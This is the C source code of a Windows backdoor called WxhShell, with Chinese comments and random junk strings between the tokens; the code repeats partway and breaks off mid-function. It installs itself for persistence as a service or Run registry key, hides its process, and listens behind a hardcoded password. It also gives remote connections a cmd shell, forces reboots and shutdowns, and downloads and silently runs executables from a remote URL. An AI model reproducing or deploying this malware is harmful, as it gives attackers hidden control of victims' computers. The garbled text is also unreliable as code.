g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y !`H_Qo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2dC)%]aLme 1yhx)m;f if (!NtQueryInformationProcess) return 0; E_++yK^= A#T;Gi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^C(AMT if(!hProcess) return 0; bHp|>g 9DIG K\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !o`al` q' vOqT Ld CloseHandle(hProcess); j1BYSfX' eA!aUu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w:qwU\U>x if(hProcess==NULL) return 0; <a'j8pw9i |Oo
WGVc HMODULE hMod; m+o>`1>a char procName[255]; LcF0: h' unsigned long cbNeeded; G^+0</Q b^ v.FK46G if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LE7o[<> MFC= oKD CloseHandle(hProcess); iB\d`NUf ]Y3ALQr! if(strstr(procName,"services")) return 1; // 以服务启动 zRe0z2 +Y.As return 0; // 注册表启动 =/zQJzN } R)#"Ab Z' _8bqk\m+ // 主模块 P?bdjU#_n` int StartWxhshell(LPSTR lpCmdLine) 5f1yszd { I!bG7;=_ SOCKET wsl; m8FKr/Z- BOOL val=TRUE; L|c01 int port=0; mk[n3oE1 struct sockaddr_in door; 77)C`]0( aUd633 if(wscfg.ws_autoins) Install(); 0py0zE6,, Sna7r~j port=atoi(lpCmdLine); 2^|*M@3r +jHL==W& if(port<=0) port=wscfg.ws_port; U7{,
* >:Rc%ILym WSADATA data; b+w|3bQa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5Eq_L ^fRA$t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AR&u9Y)I setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^.k}YSWut door.sin_family = AF_INET; Jr#ptf"Wu door.sin_addr.s_addr = inet_addr("127.0.0.1"); zg)]: door.sin_port = htons(port); $PNR? f}o`3v*z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {Bu^%JEn closesocket(wsl); >ztv3^w return 1; A H`6)v<f } gPDc6{/C< _m;Y' if(listen(wsl,2) == INVALID_SOCKET) { M*%iMz closesocket(wsl); nL\BB& return 1; `?~pk)<C]. } 9HWtdJ+^C= Wxhshell(wsl); 'DVPx%p WSACleanup(); ~~>D=~B0' >YD?
pDPb/ return 0; d6wsT\S [03Aej } 1XwbsKQ} ,b2Cl[ // 以NT服务方式启动 /I="+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vX&Nh"0H& { EFV'hMjS) DWORD status = 0; ]Rz]"JZ\S DWORD specificError = 0xfffffff; $dq
R]' e3&R3{ serviceStatus.dwServiceType = SERVICE_WIN32; {5:y,=Y serviceStatus.dwCurrentState = SERVICE_START_PENDING; &d=j_9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YMC*<wXN serviceStatus.dwWin32ExitCode = 0; |]^OX$d serviceStatus.dwServiceSpecificExitCode = 0; 4h?[NOA" serviceStatus.dwCheckPoint = 0; 9=Y-w s serviceStatus.dwWaitHint = 0; @99@do|C {i3]3V"Xp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nT9B?P> if (hServiceStatusHandle==0) return; 8IbHDDS gTm[ <Y status = GetLastError(); a3JG&6- if (status!=NO_ERROR) !\2Xr{f { tyNT1F{ serviceStatus.dwCurrentState = SERVICE_STOPPED; ~`(#sjr6KR serviceStatus.dwCheckPoint = 0; ,SH))%Cyt serviceStatus.dwWaitHint = 0; c:M~!CXO serviceStatus.dwWin32ExitCode = status; L3,p8-d9Z serviceStatus.dwServiceSpecificExitCode = specificError; Beqzw0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z_Hc":4i return; Y0
Ta&TYZ0 } *e!0ZB3J ^ola5w D serviceStatus.dwCurrentState = SERVICE_RUNNING; k#&d`?X serviceStatus.dwCheckPoint = 0; )mS
Aog< serviceStatus.dwWaitHint = 0; gm\P`~+o if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >`SIB; &>j } "I}3*s9Q- {+!m]-s // 处理NT服务事件,比如:启动、停止 *C Me:a VOID WINAPI NTServiceHandler(DWORD fdwControl) m onqaSF { 0DV
.1 switch(fdwControl) 5_9mA4gs@ { V`m'r+ Y case SERVICE_CONTROL_STOP: =Z2Cg{z serviceStatus.dwWin32ExitCode = 0; ZXh6Se4o serviceStatus.dwCurrentState = SERVICE_STOPPED; FY@ErA7~ serviceStatus.dwCheckPoint = 0; 9])dLL0 serviceStatus.dwWaitHint = 0; V)=!pT { *xI0hFJIM SetServiceStatus(hServiceStatusHandle, &serviceStatus); GMyzQ]@} } n3-5`Jti return; V*"-@ case SERVICE_CONTROL_PAUSE: :'|%~&J serviceStatus.dwCurrentState = SERVICE_PAUSED; F$F,I,$ " break; ?I6 !m~ case SERVICE_CONTROL_CONTINUE: ZkSlztL)Tr serviceStatus.dwCurrentState = SERVICE_RUNNING; 4f:B 2x{ break; jTH,GF case SERVICE_CONTROL_INTERROGATE: v=R=K break; V)mitRaV }; Vf:/Kokq SetServiceStatus(hServiceStatusHandle, &serviceStatus); |VQ17*4ff1 } xy5&}_Y DY/xBwIF // 标准应用程序主函数 +`>Tuz~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \]1qAFB5 { T%B&HsH #`?B: // 获取操作系统版本 7VduewKX8 OsIsNt=GetOsVer(); yY_Zq\ GetModuleFileName(NULL,ExeFile,MAX_PATH);
p"\Z@c JTA65T{3 // 从命令行安装 .zZee,kM if(strpbrk(lpCmdLine,"iI")) Install(); 9`4M o+ U@T"teGBA // 下载执行文件 i=jwk_y if(wscfg.ws_downexe) { V{+'(<SV if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pyJY]"UHVE WinExec(wscfg.ws_filenam,SW_HIDE); E<]O,z;F } agp`<1h9 GH[ATL if(!OsIsNt) { xkV(E!O // 如果时win9x,隐藏进程并且设置为注册表启动 ^YiGvZJ HideProc(); R~
n[g StartWxhshell(lpCmdLine); %? -E)n[ } lLhvpvT else j1D 1tn if(StartFromService()) /vO8s?? // 以服务方式启动 BQTZt'p StartServiceCtrlDispatcher(DispatchTable); Uq/FH@E= else +L(|?|i8 // 普通方式启动 i;B &~ StartWxhshell(lpCmdLine); Sy()r 6n v,]-;V~< return 0; i[L5,%5<H } )S"!)\4 b GWd71ZtFO 5,dKha ^m
pWQ`R =========================================== C)Ep}eHjf_ ;&7dX^oH !y_4.&C{ [>--U)/ e7tp4M9!% ^IW5c>;| " r)<c
~\0 7 gOb"-;Zw #include <stdio.h> M]|tXo$? #include <string.h> t^Z-0jH #include <windows.h> kA/4W^]Ws #include <winsock2.h> pNUe|b+P #include <winsvc.h> b:B+x6M #include <urlmon.h> 4,EX2 ^Mvgm3hg #pragma comment (lib, "Ws2_32.lib") qh9d.Q+n #pragma comment (lib, "urlmon.lib") O1+OE!w "{9^SPsp #define MAX_USER 100 // 最大客户端连接数 +%Z#!1u #define BUF_SOCK 200 // sock buffer uvG'Kx #define KEY_BUFF 255 // 输入 buffer OTe h8h ( fNG51h! #define REBOOT 0 // 重启 qkXnpv #define SHUTDOWN 1 // 关机 l(A)G d5> <=nOyT9 #define DEF_PORT 5000 // 监听端口 2o)8 'Lp d)>b/0CZ #define REG_LEN 16 // 注册表键长度 fM/~k>wl #define SVC_LEN 80 // NT服务名长度 L0\~K~q xqSoE[<v // 从dll定义API ,F%2'W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S$N!Dj@e; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fv_B(a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !}lCwV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )B*D\9\Z k%D|17I // wxhshell配置信息 je;C}4 struct WSCFG { Uc%kyTBm1 int ws_port; // 监听端口 #nq$^H char ws_passstr[REG_LEN]; // 口令 G22{',#r8 int ws_autoins; // 安装标记, 1=yes 0=no 1R.|j_HYy char ws_regname[REG_LEN]; // 注册表键名 8&Md=ZvK` char ws_svcname[REG_LEN]; // 服务名 LA]UIM@ char ws_svcdisp[SVC_LEN]; // 服务显示名 6L<Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 TI/5'Oke$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Z`Cu~7 int ws_downexe; // 下载执行标记, 1=yes 0=no '[Zgwz;z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I3qTSX- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x$hT+z6DUC 'vwu^u? }; Y6 <.]H j
D kBe-` // default Wxhshell configuration 6%^A6U struct WSCFG wscfg={DEF_PORT, P(%^J6[> "xuhuanlingzhe", fK|P144 1, k*4!rWr0r& "Wxhshell", %ZsdCQc{` "Wxhshell", HT:V;?" "WxhShell Service", 1K#%mV_ "Wrsky Windows CmdShell Service", =f?vpKq40 "Please Input Your Password: ", *qZBq&7tb 1, #HDP ha "http://www.wrsky.com/wxhshell.exe", 0^3n#7m;K "Wxhshell.exe" 5[y+X|Am }; (nu;o!mo9 4iDqd // 消息定义模块 XEBeoOX/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :i3
W U% char *msg_ws_prompt="\n\r? for help\n\r#>"; =odK i "-6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O70#lvsM; char *msg_ws_ext="\n\rExit."; HDO_r(i char *msg_ws_end="\n\rQuit."; <KX fh char *msg_ws_boot="\n\rReboot..."; }U'VVPh_ char *msg_ws_poff="\n\rShutdown..."; OF} ."a char *msg_ws_down="\n\rSave to "; }
fa p%R+ c char *msg_ws_err="\n\rErr!"; cJE4uL< char *msg_ws_ok="\n\rOK!"; ~ <36vsk I@oSRB char ExeFile[MAX_PATH]; WF_v>g:g int nUser = 0; gNJdP!(t HANDLE handles[MAX_USER]; !bIE%cq int OsIsNt; B[IWgvB(e !]3kFWs SERVICE_STATUS serviceStatus; MTip4L W9 SERVICE_STATUS_HANDLE hServiceStatusHandle; cT5BBR p\P) // 函数声明 =w!2R QB int Install(void); cd|/4L6 int Uninstall(void); T65"?=<EB int DownloadFile(char *sURL, SOCKET wsh); X[!S7[d-y int Boot(int flag); ,8.$!Zia void HideProc(void); 3bRW]mP8 int GetOsVer(void); fg7 int Wxhshell(SOCKET wsl); 7|xu)zYB void TalkWithClient(void *cs); WMa`!Q int CmdShell(SOCKET sock); Y P,>vzW int StartFromService(void); 6e S~* int StartWxhshell(LPSTR lpCmdLine); LJ6L#es2 Eunmc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |xF!3GGms VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gs\D`|3= ~.>8ww // 数据结构和表定义 9k~%HN-[ SERVICE_TABLE_ENTRY DispatchTable[] = w^9< I] { E{P94Phv {wscfg.ws_svcname, NTServiceMain}, OdpHF~(Y/ {NULL, NULL} ^T*!~K8A }; aL*}@|JL" OIK46D6?. // 自我安装 R.?PD$;_M int Install(void) 8aJJ??o{ { $h}5cl char svExeFile[MAX_PATH]; CZE!@1"<{ HKEY key; VsJKxa4 strcpy(svExeFile,ExeFile); ==UYjbuU p~NHf\ // 如果是win9x系统,修改注册表设为自启动 ][KlEE>W2 if(!OsIsNt) { (_]!}N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;b(ww{& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (*b<IGi; RegCloseKey(key); I$ R1#s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hQ}_(F_H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m[z$y RegCloseKey(key); (I`lv=R"j return 0; `v-O 4Pk } *\@RBJGF } JVGTmS[3 } `8r$b/6 else { J$PlI F9Af{*Jw?x // 如果是NT以上系统,安装为系统服务 4K\o2p?4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !9{UBAh if (schSCManager!=0) O._\l?m { R58NTPm SC_HANDLE schService = CreateService %ZcS"/gf ( -k@1#c+z schSCManager, f[
2PAz wscfg.ws_svcname, %NfXe[T wscfg.ws_svcdisp, 3 yw$<lm SERVICE_ALL_ACCESS, CiGXyhh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MsBm0r`a SERVICE_AUTO_START, IMncl=1 SERVICE_ERROR_NORMAL, r{B28'f[ svExeFile,
2;j<{' NULL, 9 *uK]/c NULL, w3 kkam" NULL, A*vuS Qt( NULL, B`t/21J NULL 9^9-\DG ); (@qPyM6~} if (schService!=0) Y
mL{uV$ { zVa&4 T- CloseServiceHandle(schService); ,q>cFsY=i? CloseServiceHandle(schSCManager); `GkCOx, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a#{"3Z2| strcat(svExeFile,wscfg.ws_svcname); :b*7TJ\grN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G"m?2$^-A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `qYiic% RegCloseKey(key); $2,tT;50g return 0; LR{bNV[i } 0}"\3EdAbD } W9pY=9]p+ CloseServiceHandle(schSCManager); nF_q{e7 } AorY#oq } L N
Fe7<y j "'a5;Sy return 1; a5R.
\a<q } MPDRMGR@i h_{f_GQ" // 自我卸载 ]8fn1Hx\ int Uninstall(void) ?wv^X`Q*~ { ^EKRbPA9:< HKEY key; qH5nw}] Jfk#E^1 if(!OsIsNt) { NJ+$3n om if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vy}_aD{B RegDeleteValue(key,wscfg.ws_regname); E
N%{ $ RegCloseKey(key); ;Ce?f=4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ARM~{q6)@ RegDeleteValue(key,wscfg.ws_regname); 4# PxJG6m RegCloseKey(key); k*n~&y: O return 0; 0O,;[l } !mTq6H12 ! } vBOY[>= } p^*a>d:d] else { H8I)D& cw AT+l%% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "?F[]8F.b if (schSCManager!=0) V8):! { 2J{vfF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )c&ya|h if (schService!=0) 6)ibXbH { 6u #eLs if(DeleteService(schService)!=0) { 1U#W=Fg' CloseServiceHandle(schService); _B#x{ii CloseServiceHandle(schSCManager); jrFPd return 0; /FE+WA}r } #*/nUbsg CloseServiceHandle(schService); =1dczJHV } wn?oHz* CloseServiceHandle(schSCManager); }nX0h6+1 } dQ7iieT } wM4{\ f\ qqe"hruFJ return 1; .B-b51Uz } Q-V8=. _AFje // 从指定url下载文件 =
g
& int DownloadFile(char *sURL, SOCKET wsh) xT_"` @ { LdH1sHy*d` HRESULT hr; 3o[(pfcU char seps[]= "/"; eOiH7{OA, char *token; wW p7N char *file; =1,!EkG char myURL[MAX_PATH]; ZP!.C&O char myFILE[MAX_PATH]; 3e;|KU /KWdIP# strcpy(myURL,sURL); Nwt[)\W ` token=strtok(myURL,seps); n}F$kyI while(token!=NULL) fo+s+Q|Y { Y @'do) file=token; x}pH'S7 token=strtok(NULL,seps); G#e]J;
} \fEG5/s}T D{Nd2G GetCurrentDirectory(MAX_PATH,myFILE); n]Yz<# strcat(myFILE, "\\"); }a[]I%bu2 strcat(myFILE, file); XWAIW=. send(wsh,myFILE,strlen(myFILE),0); Ewp2 1 send(wsh,"...",3,0); B G\)B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )K@D4sl if(hr==S_OK) e-P{)L<s5 return 0; H[p~1%Lq else Ar~/KRK return 1; -rI7ihr* M&V4|D } M j[+h|e ;Us6:}s // 系统电源模块 SQ> Yf\ int Boot(int flag) :t!J
9 { PvV\b<Pe+ HANDLE hToken; C(v'7H{4cW TOKEN_PRIVILEGES tkp; #K:iB* 1="]'!2Is if(OsIsNt) { fqbeO 9x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VnSO>O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7F>]zrbK tkp.PrivilegeCount = 1; kVM*[<k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~&p]kmwXSX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q6$6:L,< if(flag==REBOOT) { d+v|&yN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TM{m:I:Z*n return 0; JS8pN5 } )e PQxx else { Cj3Xp~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9 c9$cnQ return 0; xj U0& } hz;SDaBA } Od;k}u6;< else { @w= =*.x if(flag==REBOOT) { *(q{k%/M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5OGwOZAj52 return 0; hs;|,r } d7b`X<=@s else { NiVLx_<Pr' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X%-hTl return 0; CPNV\qCY } \R@}X cqZ } <ZZfN@6 SGZYDxFC@ return 1; GYIQ[#'d7 } A@lM= jWxa
[> // win9x进程隐藏模块 7mi*#X} void HideProc(void) ?^!J:D? { U= n Q$.CtECo HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E{JTy{z- if ( hKernel != NULL ) M^WoV
}' { |n,O!29 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i=b'_SZ' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g=4P-i3 FreeLibrary(hKernel); `O3#/1+ } Om:Gun\% 1iR\M4?Frf return; #Qz9{1\G } K
~\b+ qfFa" a // 获取操作系统版本 EMH-[EBx int GetOsVer(void) EiM\`"o { ~8k`~t! OSVERSIONINFO winfo; ]A-LgDsS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jK6dI
7h GetVersionEx(&winfo); lxXF8c>U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5C`Vno~v return 1; ',FVT4OMw else SP2";,%/9 return 0; lp$,`Uz` } 6tVp%@ e
jk?If 07 // 客户端句柄模块 :LX!T& int Wxhshell(SOCKET wsl) o%]b\Vl6
{ j
yp.2c SOCKET wsh; DP*V|) struct sockaddr_in client; Sb?v5 DWORD myID; K~UT@,CS60 ?j!/Hc/b4 while(nUser<MAX_USER) !JDyv\i} { I
%1P:- int nSize=sizeof(client); CD?b.Cxai wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6S%KUFB+e if(wsh==INVALID_SOCKET) return 1; :5^5l H9VdoxKo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?5d[BV if(handles[nUser]==0) A#~CZQY^$ closesocket(wsh); PL\4\dXB else !C' Y
7 nUser++; Gqar5 } "$%&C%t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6 ;\>, y>UQm|o<W return 0; /WAOpf5 } `a7b,d K^AIqL8 // 关闭 socket 8.`5"9Vh void CloseIt(SOCKET wsh) p_g8d&]V { P)=$0kR3 closesocket(wsh); =snJ+yn! nUser--; bb/A}<
zD ExitThread(0); m:;`mBOc3 } k
lr1"q7 ^?0WE // 客户端请求句柄 y3'K+?4 void TalkWithClient(void *cs) A:sP%c; { v'y<}U zq^eL=%: SOCKET wsh=(SOCKET)cs; OOus*ooo2 char pwd[SVC_LEN]; !Cm9DzG char cmd[KEY_BUFF]; .#e?[xxk char chr[1]; &eg@ZnPn int i,j; ]CnT4[f! _B==S4^/yU while (nUser < MAX_USER) { [QT
H ~ UUgc> if(wscfg.ws_passstr) { ;2eZa|M*q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `@ Ont+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ss7Z-A 4z //ZeroMemory(pwd,KEY_BUFF); ~m7?:(/lb i=0; &ujq6~# while(i<SVC_LEN) { )!`>Q|]}Zd /EM=!@ka // 设置超时 5=_))v<Tp fd_set FdRead; 'khhn6itA struct timeval TimeOut; N*hx;k9 FD_ZERO(&FdRead); cC`PmDGq FD_SET(wsh,&FdRead); nfr..4,: TimeOut.tv_sec=8; R?,XSJ TimeOut.tv_usec=0; ;&RHc#1F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /(ArA=# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); euh rEjwkH 'F8:|g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2I~a{:O pwd=chr[0]; { r8H5X if(chr[0]==0xd || chr[0]==0xa) { oJ}$ /_ pwd=0; /u'M7R break; b;(BMO,( } y"0!7^ i++; q&k?$rn } 3)py|W%X$ qc^qCGy!z // 如果是非法用户,关闭 socket $k3l[@;hE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 71yf+xL } `>}e 5 #>\8m+h 9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ..ht)Gex send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bU"2D.k a<Ptm(, while(1) { jJY!;f a
s?)6 ZeroMemory(cmd,KEY_BUFF); D~<0CQ3n. }%eXGdC // 自动支持客户端 telnet标准 ww{07g j=0; iX'#~eK*< while(j<KEY_BUFF) { wd~!j&`a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '^6x-aeq[D cmd[j]=chr[0]; #v4q:&yKf if(chr[0]==0xa || chr[0]==0xd) { lWYgIpw cmd[j]=0; VbzW4J_ break; Jyu*{ } {[.<BU- j++; wS1zd? } a<`s'N1G k39;7J // 下载文件 &!FWo@ if(strstr(cmd,"http://")) { s3l:ST send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1{X ;&y if(DownloadFile(cmd,wsh)) mo3HUXf}8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); , 8F(R%v else G^Yg[*bJ^$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |d8x55dk } [S!_ubP5 else { )o8]MWT\; pO_L,~< switch(cmd[0]) { ({AqL#x`u J'>i3eLq // 帮助 tO^KCnL case '?': { ?KfV>.() send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uCNi&. break; 5}t}Wc8 } (>\w8] // 安装 ww"HV;i case 'i': { 7Z<ba^r} if(Install()) 6> Szxkz send(wsh,msg_ws_err,strlen(msg_ws_err),0); >A;9Ee"& else /?j
vv& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|0GRjC break; AlRng&o~ } IvyBK]{| // 卸载 `by\@xQ) case 'r': { 5b2_{6t if(Uninstall()) }[OOkYF#r send(wsh,msg_ws_err,strlen(msg_ws_err),0); zLiFk<G@Xi else 7R=cxD& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -?$Hr\ break; z!GLug*j` } qEoa%O // 显示 wxhshell 所在路径 ?xuhN
G@ case 'p': { J,k|_JO char svExeFile[MAX_PATH]; oopACE> strcpy(svExeFile,"\n\r"); .UuCTH;6` strcat(svExeFile,ExeFile); u/BCl!` send(wsh,svExeFile,strlen(svExeFile),0); }vbs6u break; \We\*7^E } 2Y@:Vgg // 重启 gOA case 'b': { RMx$]wn_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p|z\L}0 if(Boot(REBOOT)) ^sp+ sr : send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6P`~emX2 else { SGREpOlJ+ closesocket(wsh); ?x(]U+ ExitThread(0); [l2ds: } gz? ]]-H break; 1 f;k)x } Iu`xe // 关机 #;32(II case 'd': { =hO0@w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HNRZ59Yyq if(Boot(SHUTDOWN)) X;I;CZ={ send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQcrF{q else { OXs-gC{b closesocket(wsh); c.u$NnDU6 ExitThread(0); wYrb P11 } m|)Mc VV break; C[ ehw } I'h6!N" // 获取shell 0P<bS?e<l case 's': { Lii,L} CmdShell(wsh); \lnps f closesocket(wsh); Ls#=R ExitThread(0); ]iyJ>fC break; ESl-k2 } u2SnL$A7 // 退出 #l6L7u0~wC case 'x': { s^]F4' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WvN!8*XFM CloseIt(wsh); y^#jM break; 8#9di } L)5YX-? // 离开 Jbud_.h9 case 'q': { J3oj}M* send(wsh,msg_ws_end,strlen(msg_ws_end),0); DL5`A?/ closesocket(wsh); <wt#m`Za WSACleanup(); <(YmkOS+ exit(1); xbFoXYqgP break; ZLBv\VQ } )2|'` } =#AeOqs( q } o!`.LL% !}D!_z,)u // 提示信息 Lzzf`jN] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;hz"`{(JY } <|_/i/H } L {6y]t7^ z:hY{/- return; ZqHh$QBD
9 } .D^=vuxt~ 7(m4,l+( // shell模块句柄 Vj7(6'Hg int CmdShell(SOCKET sock) f -N: { 2t3'"8xJ STARTUPINFO si; em ZeroMemory(&si,sizeof(si)); ?8g[0/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T#.5F7$u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l I&%^> PROCESS_INFORMATION ProcessInfo; ;F@N2j#
char cmdline[]="cmd"; Ixhe86-:T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NrE&w H: return 0; t>J 43 } b]v.jgD e7f3dqn0 // 自身启动模式 E?o1&(2p int StartFromService(void) 28u)q2s^W| { A7*<,]qT typedef struct v,N*vqWS { .z
u0GsU= DWORD ExitStatus; VjbRjn5LI DWORD PebBaseAddress; }ZMbTsm DWORD AffinityMask; ~7Ey9wRkD DWORD BasePriority; aVI/x5p~ ULONG UniqueProcessId; zPp?D_t ULONG InheritedFromUniqueProcessId; *]Nd
I } PROCESS_BASIC_INFORMATION; 7]t$t3I` x |
= PROCNTQSIP NtQueryInformationProcess; NPws^ -hav/7g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y_3{\g|x static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ozZW7dveU $=7[.z& HANDLE hProcess; /
AFn8=9'^ PROCESS_BASIC_INFORMATION pbi; 58"Cn ||tF ]de'v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #<V/lPz+ if(NULL == hInst ) return 0; c <8s\2 xEN""*Q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &ah!g!o3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p2N;- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D[2I_3[wp 6/ir("LK if (!NtQueryInformationProcess) return 0; A)/
8FYc Az29?|e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5?+ECxPt if(!hProcess) return 0; 5;wA7@ z; 6Tp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @^8tk3$Y bmT_tNz CloseHandle(hProcess); X}.y-X#v5J ~y.{WuUD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (9r\YNK if(hProcess==NULL) return 0; "oZ-W?IK E h}&WBN HMODULE hMod; T8&
